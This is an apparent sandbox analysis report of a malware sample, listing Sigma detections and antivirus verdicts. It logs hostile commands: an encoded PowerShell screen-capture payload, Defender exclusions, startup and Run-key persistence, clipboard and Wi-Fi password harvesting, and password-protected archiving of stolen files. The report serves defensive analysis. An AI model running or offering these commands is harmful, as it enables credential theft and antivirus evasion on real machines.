Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe', ProcessId: 6396, ProcessName: powershell.exe

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ProcessId: 6716, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1436, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f8645e1e85.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ParentProcessId: 6716, ParentProcessName: D1UL0FG.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 7564, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ProcessId: 6716, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ProcessId: 6716, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ProcessId: 6716, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7584, TargetFilename: C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7532, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *, ProcessId: 3620, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe', ProcessId: 6396, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe, ParentProcessId: 6716, ParentProcessName: D1UL0FG.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7680, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\UZAj8wc[1].exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[5].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\D1UL0FG[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306040
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
